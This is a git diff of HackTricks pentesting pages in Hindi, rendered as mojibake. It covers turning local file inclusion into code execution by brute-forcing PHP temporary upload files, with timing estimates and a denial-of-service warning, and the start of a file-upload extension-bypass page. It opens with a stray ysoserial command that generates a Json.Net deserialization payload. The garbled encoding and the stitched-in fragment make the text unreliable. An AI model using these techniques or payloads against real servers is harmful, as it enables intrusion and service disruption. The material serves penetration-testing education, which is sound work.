рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдпрд╛: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index 0010dc069..f9dfd7d8b 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -4,7 +4,7 @@ ## Basic Information -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЬрдм рдПрдХ рдлрд╝рд╛рдЗрд▓ PHP рдореЗрдВ рдЕрдкрд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИ (рднрд▓реЗ рд╣реА рдЗрд╕рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рди рдХреА рдЬрд╛ рд░рд╣реА рд╣реЛ), рдпрд╣ `/tmp` рдореЗрдВ **`php[a-zA-Z0-9]{6}`** рдЬреИрд╕реЗ рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдЧреА, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдореИрдВрдиреЗ рдХреБрдЫ рдбреЙрдХрд░ рдЗрдореЗрдЬ рджреЗрдЦреА рд╣реИрдВ рдЬрд╣рд╛рдБ рдЙрддреНрдкрдиреНрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдЕрдВрдХ рдирд╣реАрдВ рд╣реЛрддреЗред +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЬрдм рдПрдХ рдлрд╝рд╛рдЗрд▓ PHP рдореЗрдВ рдЕрдкрд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИ (рднрд▓реЗ рд╣реА рдЗрд╕рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рди рдХреА рдЬрд╛ рд░рд╣реА рд╣реЛ), рдпрд╣ `/tmp` рдореЗрдВ **`php[a-zA-Z0-9]{6}`** рдЬреИрд╕реЗ рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдЧреА, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдореИрдВрдиреЗ рдХреБрдЫ рдбреЙрдХрд░ рдЗрдореЗрдЬ рджреЗрдЦреА рд╣реИрдВ рдЬрд╣рд╛рдБ рдЙрддреНрдкрдиреНрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдЕрдВрдХ рдирд╣реАрдВ рд╣реЛрддреЗред рдПрдХ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢ рдореЗрдВ, **рдпрджрд┐ рдЖрдк рдЙрд╕ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ RCE рдорд┐рд▓реЗрдЧрд╛**ред @@ -13,7 +13,7 @@ ; Maximum number of files that can be uploaded via a single request max_file_uploads = 20 ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ 62\*62\*62\*62\*62\*62 = 56800235584** рд╣реИред +Also, the **рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ 62\*62\*62\*62\*62\*62 = 56800235584** рд╣реИред ### рдЕрдиреНрдп рддрдХрдиреАрдХреЗрдВ @@ -33,13 +33,13 @@ max_file_uploads = 20 рдЗрд╕ рддрдХрдиреАрдХ рдХреА **рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛рдПрдВ** рд╣реИрдВ: -- рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓(рдлрд╛рдЗрд▓реЛрдВ) рдХрд╛ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдФрд░ рднреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ) +- рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓(рдлрд╛рдЗрд▓реЛрдВ) рдХрд╛ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдФрд░ рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ) - рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреА **рдЕрд╕рдВрднрд╡** рдорд╛рддреНрд░рд╛: **56800235584** - рдпрджрд┐ рд╕рд░реНрд╡рд░ **рдЕрдВрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ** рддреЛ рдХреБрд▓ рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рддреНрд░рд╛: **19770609664** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ **рдХреЗрд╡рд▓ 20 рдлрд╝рд╛рдЗрд▓реЗрдВ** рдПрдХ **рдПрдХрд▓ рдЕрдиреБрд░реЛрдз** рдореЗрдВ рдЕрдкрд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред - рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рд░реНрд╡рд░ рдХреЗ **рд╕рдорд╛рдирд╛рдВрддрд░ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдХреА рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛**ред - рдкрд┐рдЫрд▓реЗ рд╕реАрдорд╛рдУрдВ рдХреЗ рд╕рд╛рде рдпрд╣ рд╕реАрдорд╛ рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдмрд╣реБрдд рд▓рдВрдмрд╛ рдмрдирд╛ рд╕рдХрддреА рд╣реИ -- **PHP рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рд╕рдордп рд╕рдорд╛рдкреНрддрд┐**ред рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ, рдпрд╣ рд╢рд╛рд╢реНрд╡рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдЕрд╕реНрдерд╛рдпреА рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдП рдмрд┐рдирд╛ PHP рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдпрд╣ рднреА рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реЛрдЧреА +- **PHP рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рд╕рдордп рд╕рдорд╛рдкреНрддрд┐**ред рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ рдпрд╣ рд╢рд╛рд╢реНрд╡рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдЕрд╕реНрдерд╛рдпреА рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдП рдмрд┐рдирд╛ PHP рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдпрд╣ рднреА рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реЛрдЧреА рддреЛ, рдЖрдк **PHP рд╢рд╛рдорд┐рд▓ рдХреЛ рдХрднреА рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдмрд╕ рдлрд╝рд╛рдЗрд▓ **`/sys/kernel/security/apparmor/revision`** рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ (**рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢ Docker рдХрдВрдЯреЗрдирд░реЛрдВ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ...**)ред @@ -56,7 +56,7 @@ include("/sys/kernel/security/apparmor/revision"); рдЪрд▓реЛ рдХреБрдЫ рдЧрдгрд┐рдд рдХрд░рддреЗ рд╣реИрдВ: -- рд╣рдо **149 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **149 \* 20 = 2980 рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- рд╣рдо **149 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **149 \* 20 = 2980 рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╣рдорд╛рд░реЗ рд╡реЗрдмрд╢реЗрд▓ рдХреЗ рд╕рд╛рдеред - рдлрд┐рд░, **рдЕрдВрддрд┐рдо рдХрдиреЗрдХреНрд╢рди** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕** рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛред - **10 рдЕрдиреБрд░реЛрдз/рд╕реЗрдХрдВрдб** рдХреА рдЧрддрд┐ рдкрд░ рд╕рдордп рд╣реИрдВ: - 56800235584 / 2980 / 10 / 3600 \~= **530 рдШрдВрдЯреЗ** (265 рдШрдВрдЯреЗ рдореЗрдВ 50% рд╕рдВрднрд╛рд╡рдирд╛) @@ -65,20 +65,20 @@ include("/sys/kernel/security/apparmor/revision"); > [!WARNING] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣рдо **рдЕрдиреНрдп рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ DoSing рдХрд░ рд░рд╣реЗ рд╣реИрдВ**! -рдпрджрд┐ Apache рд╕рд░реНрд╡рд░ рдХреЛ рд╕реБрдзрд╛рд░рд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╣рдо **4000 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдЖрдзреЗ рд░рд╛рд╕реНрддреЗ)ред рд╣рдо `3999*20 = 79980` **рдлрд╝рд╛рдЗрд▓реЗрдВ** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рд╕рдВрдЦреНрдпрд╛** рд▓рдЧрднрдЧ **19.7 рдШрдВрдЯреЗ** рдпрд╛ **6.9 рдШрдВрдЯреЗ** (10 рдШрдВрдЯреЗ, 3.5 рдШрдВрдЯреЗ 50% рд╕рдВрднрд╛рд╡рдирд╛) рддрдХ **рдХрдо** рд╣реЛ рдЬрд╛рдПрдЧреАред +рдпрджрд┐ Apache рд╕рд░реНрд╡рд░ рдХреЛ рдмреЗрд╣рддрд░ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╣рдо **4000 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдЖрдзреЗ рд░рд╛рд╕реНрддреЗ)ред рд╣рдо `3999*20 = 79980` **рдлрд╝рд╛рдЗрд▓реЗрдВ** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рд╕рдВрдЦреНрдпрд╛** рд▓рдЧрднрдЧ **19.7 рдШрдВрдЯреЗ** рдпрд╛ **6.9 рдШрдВрдЯреЗ** (10 рдШрдВрдЯреЗ, 3.5 рдШрдВрдЯреЗ 50% рд╕рдВрднрд╛рд╡рдирд╛) рдореЗрдВ **рдХрдо** рд╣реЛ рдЬрд╛рдПрдЧреАред ## PHP-FMP рдпрджрд┐ Apache рдХреЗ рд▓рд┐рдП рдирд┐рдпрдорд┐рдд PHP рдореЙрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп **рд╡реЗрдм рдкреГрд╖реНрда** **PHP-FMP** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ (рдпрд╣ рд╡реЗрдм рдкреГрд╖реНрда рдХреА рджрдХреНрд╖рддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдкрд╛рдирд╛ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ), рддреЛ рддрдХрдиреАрдХ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдФрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред PHP-FMP **`request_terminate_timeout`** рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ **`/etc/php//fpm/pool.d/www.conf`** рдореЗрдВ **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред\ -рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ рдЕрдзрд┐рдХрддрдо рд╕реЗрдХрдВрдб рдХреА рдорд╛рддреНрд░рд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ **рдЬрдм** **PHP рдХреЛ рдЕрдиреБрд░реЛрдз рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдирдВрдд, рд▓реЗрдХрд┐рди **рдпрджрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдирдХрдореЗрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рддреЛ 30 рд╕реЗрдХрдВрдб**)ред рдЬрдм PHP рджреНрд╡рд╛рд░рд╛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕реЗрдХрдВрдб, рдЗрд╕реЗ **рдорд╛рд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ, рдХрд┐ рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд░рд╣рд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ **PHP рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд░реЛрдХ рджреА рдЧрдИ рдереА**, рддреЛ рдЙрди **рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛рдПрдЧрд╛**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдЙрд╕ рд╕рдордп рддрдХ рдЪрд▓рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ, рддреЛ рдЖрдк **рд╣рдЬрд╛рд░реЛрдВ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдирд╣реАрдВ рд╣рдЯреЗрдВрдЧреА, рдЬреЛ рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рддреЗрдЬрд╝** рдХрд░рддреА рд╣реИ рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рдХреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ DoS рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдХрдо рдХрд░рддреА рд╣реИред +рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ рдЕрдзрд┐рдХрддрдо рд╕реЗрдХрдВрдб рдХреА рдорд╛рддреНрд░рд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ **рдЬрдм** **PHP рдХреЛ рдЕрдиреБрд░реЛрдз рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП** (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдирдВрдд, рд▓реЗрдХрд┐рди **рдпрджрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдирдХрдореЗрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ 30 рд╕реЗрдХрдВрдб**)ред рдЬрдм PHP рджреНрд╡рд╛рд░рд╛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕реЗрдХрдВрдб рдореЗрдВ, рдЗрд╕реЗ **рдорд╛рд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ, рдХрд┐ рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд░рд╣рд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ **PHP рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд░реЛрдХ рджреА рдЧрдИ рдереА**, рддреЛ рдЙрди **рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛рдПрдЧрд╛**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдЙрд╕ рд╕рдордп рддрдХ рдЪрд▓рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ, рддреЛ рдЖрдк **рд╣рдЬрд╛рд░реЛрдВ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдирд╣реАрдВ рд╣рдЯреЗрдВрдЧреА, рдЬреЛ рдЙрдиреНрд╣реЗрдВ рдЦреЛрдЬрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рддреЗрдЬрд╝** рдХрд░рддреА рд╣реИ рдФрд░ рд╕рднреА рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рдХреЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдкрд░ DoS рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдХрдо рдХрд░рддреА рд╣реИред -рддреЛ, **DoS рд╕реЗ рдмрдЪрдиреЗ** рдХреЗ рд▓рд┐рдП рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ 100 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ PHP рдЕрдзрд┐рдХрддрдо рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд╕рдордп **php-fmp** (`request_terminate_timeout`**) **30 рд╕реЗрдХрдВрдб** рд╣реИред рдЗрд╕рд▓рд┐рдП, **рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб** рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рд╡рд╛рд▓реА **рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реИ `100*20/30 = 66.67`ред +рддреЛ, **DoS рд╕реЗ рдмрдЪрдиреЗ** рдХреЗ рд▓рд┐рдП рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ 100 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ PHP рдЕрдзрд┐рдХрддрдо рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд╕рдордп **php-fmp** (`request_terminate_timeout`**) **30 рд╕реЗрдХрдВрдб** рд╣реИред рдЗрд╕рд▓рд┐рдП, рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рд╡рд╛рд▓реА **рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реИ `100*20/30 = 66.67`ред -рдлрд┐рд░, **10000 рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЪрд╛рд╣рд┐рдП: **`10000/66.67 = 150 рд╕реЗрдХрдВрдб`** ( **100000 рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордп **25 рдорд┐рдирдЯ** рд╣реЛрдЧрд╛)ред +рдлрд┐рд░, **10000 рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА: **`10000/66.67 = 150 рд╕реЗрдХрдВрдб`** ( **100000 рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордп **25 рдорд┐рдирдЯ** рд╣реЛрдЧрд╛)ред -рдлрд┐рд░, рд╣рдорд▓рд╛рд╡рд░ рдЙрди **100 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдЦреЛрдЬ** рдХрд░ рд╕рдХрддрд╛ рд╣реИред \*\*\*\* 300 req/s рдХреА рдЧрддрд┐ рдорд╛рдирддреЗ рд╣реБрдП, рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИ: +рдлрд┐рд░, рд╣рдорд▓рд╛рд╡рд░ рдЙрди **100 рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдЦреЛрдЬ** рдХрд░ рд╕рдХрддрд╛ рд╣реИред 300 req/s рдХреА рдЧрддрд┐ рдорд╛рдирддреЗ рд╣реБрдП, рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИ: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 рдШрдВрдЯреЗ** (2.63 рдШрдВрдЯреЗ рдореЗрдВ 50% рд╕рдВрднрд╛рд╡рдирд╛) - (100000 рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде) 56800235584 / 100000 / 300 / 3600 \~= **0.525 рдШрдВрдЯреЗ** (0.263 рдШрдВрдЯреЗ рдореЗрдВ 50% рд╕рдВрднрд╛рд╡рдирд╛) @@ -92,6 +92,6 @@ PHP-FMP **`request_terminate_timeout`** рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ **`/etc/ ## Nginx -рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Nginx **512 рд╕рдорд╛рдирд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ (рдФрд░ рдЗрд╕ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред +рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Nginx **512 рд╕рдорд╛рдирд╛рдВрддрд░ рдХрдиреЗрдХреНрд╢рдиреЛрдВ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ (рдФрд░ рдЗрд╕ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдмреЗрд╣рддрд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 3417b2d31..b8b325547 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -17,11 +17,11 @@ ### рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬрд╛рдВрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ -1. рдпрджрд┐ рд▓рд╛рдЧреВ рд╣реЛ, рддреЛ **рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░реЗрдВред рдХреБрдЫ **рдмрдбрд╝реЗ рдЕрдХреНрд╖рд░реЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ: _pHp, .pHP5, .PhAr ..._ +1. рдпрджрд┐ рд▓рд╛рдЧреВ рд╣реЛ, рддреЛ **рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред** рдХреБрдЫ **рдмрдбрд╝реЗ рдЕрдХреНрд╖рд░реЛрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ: _pHp, .pHP5, .PhAr ..._ 2. 